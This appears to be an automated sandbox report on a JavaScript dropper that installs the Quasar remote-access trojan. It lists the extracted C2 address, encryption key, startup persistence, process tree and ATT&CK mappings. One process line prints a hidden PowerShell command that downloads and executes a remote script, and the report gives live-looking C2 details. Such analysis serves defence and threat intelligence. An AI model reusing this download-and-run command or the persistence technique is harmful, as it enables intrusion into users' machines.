Analysis
- max time kernel
149s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
09/11/2026, 12:31
General
- Target DCPPP.js
- Size 92KB
- Sample261109-pp6pcsb19q
- SHA256 4689a824b8d338949996ab54d6dce23c53ad9cd70357acec2fc693f27e5601ee
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://dimonpert.com/cim.png
Extracted
-
quasar
-
2.8.0.1
-
bOLOTINHA
-
18.221.57.183:5552
-
nOG7AjlEQUw4QX4uyE
-
encryption_key
HIExZKm70fmkqhaenifB
-
install_name
Venom.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Venom Client Startup
Signatures
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Quasar payload 1 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- .NET Reactor proctector 1 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\DCPPP.js1⤵
- Creates a file in the Startup directory
- Reads the TCP/IP host and domain name from the registry
- Modifies registry class
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\meu_script_gerado23.bat""1⤵
- Process spawned unexpected child process
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString('https://dimonpert.com/cim.png')2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\PowerShell_ISE.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\PowerShell_ISE.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3JavaScript
1PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
meu_script_gerado23.bat
memory/3556-17-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp
memory/3556-24-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp
memory/3556-6-0x000001C1BC1F0000-0x000001C1BC212000-memory.dmp
memory/3556-7-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp
memory/3556-18-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp
memory/3556-9-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp
memory/3556-10-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp
memory/3556-11-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp
memory/3556-12-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp
memory/3556-13-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp
memory/3556-14-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp
memory/3556-15-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp
memory/3556-5-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp
memory/3556-2-0x00007FFD4F30F000-0x00007FFD4F310000-memory.dmp
memory/3556-8-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp
memory/3556-19-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp
memory/3556-20-0x000001C1BC250000-0x000001C1BC27C000-memory.dmp
memory/3556-22-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp
memory/3556-23-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp
memory/3556-16-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp
memory/3556-27-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp
memory/5492-25-0x0000000000400000-0x00000000004EC000-memory.dmp
memory/5492-28-0x0000000005A80000-0x000000000603A000-memory.dmp
memory/5492-29-0x0000000005560000-0x00000000055F2000-memory.dmp
memory/5492-30-0x0000000005600000-0x0000000005666000-memory.dmp
memory/5492-31-0x00000000062F0000-0x0000000006302000-memory.dmp
memory/5492-32-0x0000000006860000-0x000000000689C000-memory.dmp
memory/5492-33-0x0000000006FD0000-0x0000000006FDA000-memory.dmp